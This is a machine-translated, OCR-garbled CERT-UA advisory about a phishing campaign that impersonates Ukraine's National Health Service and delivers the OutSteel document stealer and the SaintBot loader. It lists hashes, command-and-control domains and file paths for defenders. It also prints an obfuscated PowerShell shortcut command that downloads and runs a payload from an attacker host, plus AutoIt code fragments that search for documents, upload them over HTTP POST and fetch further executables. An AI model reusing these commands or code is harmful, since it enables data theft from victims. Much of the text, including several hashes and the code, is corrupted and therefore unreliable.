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CERT-UA

General information

The orderly command of the response on the computer of the supremacy of Ukraine CERT-UA took away the
information about the rozpovsudzhennya, nachebto, in the name of the National Health Service of Ukraine, electronic
mail notifications, which were sent to the ZIP-archive

ZIP-archives guessing to avenge a decoy document and two identical shortcut files, when they appear on the victim’s
computer, a powershell command will be written, which, in its turn, will lead to the capture and launch of the OutSteel
program (compilation date: 28.01. 2022). It remains to secure the search for stolen documents on the victim's
computer, as well as to grab and download the SaintBot program (compilation date: 04/30/2021).

This activity is directed at the state organizations of Ukraine. Valid for CERT-UA no later than April 2021 under
identifier UAC-0056.

Indicators of compromise
Files:

0el6df6845cdel260087902£25842£f79 dS5aadbd4ace8ffccb.zip
fa23f43£fa759f0£38cde2b703d98bal5 Addendum 2.docx
7de6bb5c7d3ddae321fabcfeeaa%4819 Addendum 1.docx.lnk
78e941e780adclal59£fdc7090194c96d up74987340.exe

ede3bf69a09cec27ded2d20c95ca78e3 up74987340.dec.exe (OutSteel)
363e2b62£93c58c177e58dbe0a247fal load74h74830.exe
ab2a92e0fc5a6f63336e442£34089f16 1406.exe (SaintBot)

Mepexesi:

hxxps://cdn.discordapp[.]com/attachments/908281957039869965/937420906286952568/d5aadb4ace8ffcc

hxxp://eumr[.]site/up74987340.exe
hxxp://eumr[.]site/load74h74830.exe
hxxp://185.244.41[.]109:8080/upld/
hxxp://8003659902.]space/wp-adm/gate.php
hxxp://smm2021[.]net/wp-adm/gate.php
hxxp://8003659902[.]site/wp-adm/gate.php
eumr[.]site

8003659902 [.]space

smm2021[.]net

8003659902 [.]site

1000020[.1xyz

185.244.41[.1109

testsid@lthhc-zm[.]com

Xocmoesi:

$APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\<uasea damny>.exe
$TEMPS$\rmm.bat

$TEMP%\svjhost.exe

$LOCALAPPDATA%\zz%USERS\

HOopaTtkoBa iHdopmauin
OutSteel - a slick program, divided into different versions of Autolt; the main functionality is the transfer of files after a

specific transfer of file extensions (transferring files to the control server is required for the help of HTTP POST
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requests).

We swear on the need for additional monitoring of the connection with the public Discord service.

Graphic images

From: InfoMailbox ]

Sent ]

To: undisclosed-recipients:
;i.bject: PO3'AICHEHHS LIOAO KOPEKTHOCTI BEACHHA ©NEKTPOHHIX MEAWUHIX 3aMNCIB B eIEKTPOHHIi CUCTEMi OXOPOHM 3A0POB'A , @ TAKOX BIIMBY NPABWILHOCTI Ta MOBHOTH BEAGHHSA MEAMUHIX 3AMIMCIB Ha OnAaTy MOCYT
%
3 moBaroxo, Kind regards,
HanionanbHa ciyx6a 300poB'ss YKpaiHu National Health Service of Ukraine
npocn. Crenana baunepu, 19, 19, Stepana Bandery Ave.,
M. Kuis, 04073 Kyiv, 04073, Ukraine
hxxps://cdn.discordapp[.]Jcom/
+380 44 426 67 77 attachments/9082819570398
e 69965/937420906286952568/
llttD I//llSZU oov.ua d5aadb4ace8ffcch.zip
Local Base Path : C:\Windows\System32\WindowsPowerShell\vi.0\powershell.exe
AL\ LN\ \windows\System32\WindowsPowerShe 11\v1.0\powershell.exe
.Irm -Url

Relative Path
Command Line Arguments

Icon File Name
Machine ID

:SEcUritYProTocol .= .[neT.seCUritYPROTOcOLtYPe]::Tls12 ;
L. L L+ "e” L .+ ."xe” .) -0UTfilLe "SENV:PubLIc\

”$eNv:pUblic\GoogleChromeUpdate.exe”

:  .[net.sERviCepOIntmaNAGer]:
(”"http://eumr.site/up7498734” . .+
GoogleChromeUpdate .exe” ; StArt-PRoCesS
: C:\WINDOWS\system32\imageres.dll

: laptop-u
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Rice. 1 Butt of a swivel electronic sheet

surl dwnl "http
Surl = tp
$dsks Dr)veGetDrJve1 FL
$rem = 0x0

For $i = 0x1 To $dsks[0x0]
If $dsks[si] = @HomeDrive Then

$dsks[$rem] = @HomePath
Suuid = Hex(DriveGetSerial(""))
For $drv = 6x1 To Sdsks[0x0]
$areturn = FILESEARCH($dsks[$drv], "*.doc;*.pdf;*.ppt;
For $i = 0x1 To $areturn[0x0]
$name new = StringReplace(sareturn[$i],
$name new = StringReplace($name new, '
HTTP UPLOAD($url & $uuid, $areturn[$i],

" StringToHex($name new),

3pasku BMXigHoro
KoZly WKigMBOI NporpamMm
OutSteel

tf;*.dot;*.mdb; *.accdb;

StringToHex ($name new))

Func FILESEARCH($spath. $sfilenask, Siflag = ox
L SEontbin, oost Ssout. sirand, Shair dsattrib

& SmLtipart boundary & & @R

TGt e
i DStensrsstrosopaies, 1)
Lo g
For 12 61 o Sspuae e

Local $path dwnl = @TempDir & “\\svjhost.e
Local $h dwnl = InetGet($url dwnl, spath awnl, sinet forcereload, Sinet downloadbackground) Switch siflag
Case 0x1
$sattrib =
Steep(ex Case ox2
Until InetGetInfutsh dwnl, $inet downloadcomplete) $sattrib =
InetClose(sh dwnl) case Elae
Run(“cmd /c start /mi & $path dwnl, ", @W HIDE) attrib =
N : EndSwitch
shfile = FileOpen("rmn.bat ., 0x2) $sout = StringToBinary("0" & @CRLF, ﬂxz)
FileWrite(shfile, “Gecho o & @CRLF) sam: k Str igsmmssf;\emas
FileWrite(shfile, ":tryrenvvy’ & @CRLF) For 0x1 To Samasks[0x0] X
FileWrite(shfile, "del & @ScriptName & @CRLF) ;:dxr = Runl@ mspec & U /C & $spath & /S /B' & $sattrib, @SystemDir, @SW HIDE, 0x6)
FileWrite(shfile, 'if exist ' & @ScripthName & ryrenvvv)" & @CRLF) Soraad = stgouthead(sndir, False, True)
FileWrite(shfile, 'start /b " cnd /min /c de Taskk IM cmd. exe t /b’ & GCRLF) If @error The
FileClose(shfile) Endre ELO%P
Run("cnd /¢ start /min ram.bat”, ", @W HIDE) Tt §eread < * Then
$sout &= $sread
Fove FITF POt raplondurl SStrfilepath, SSizTIIeTiele, Strgatopoirs — Ttemne < peraut) End1f
e o Sct e el TR Bt b 2 st s end
Next
saout = S(ranRegExp(BlnaryTnStrmgtXseu(, ox2), +, 0x3)
If @error Ti

o et rror (0x1)

En
Saout[0x0] = UBound(Saout) + OxfFffffff
Return saou

EndFunc__;==> FILESEARC)

secr
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o
& Smltipart boundery & @GR & & sstrfilerield s
m.\ ,wmmm  sednaroliany G2 Tofas G ¢l o s FinaTobinary triorend)
Sty = Bocreate(
$ohtto” Open Sruploadurt Faise)

1 Gar T neuin SEERET(O 05 )
3 & smittipart boundary)

e St e et Soreceived)
enarune ;A RITD

“

&R & e &
& e & e

& sstrtilenane & 6 @R &

Rice. 2 Application of the program code of the OutSteel program
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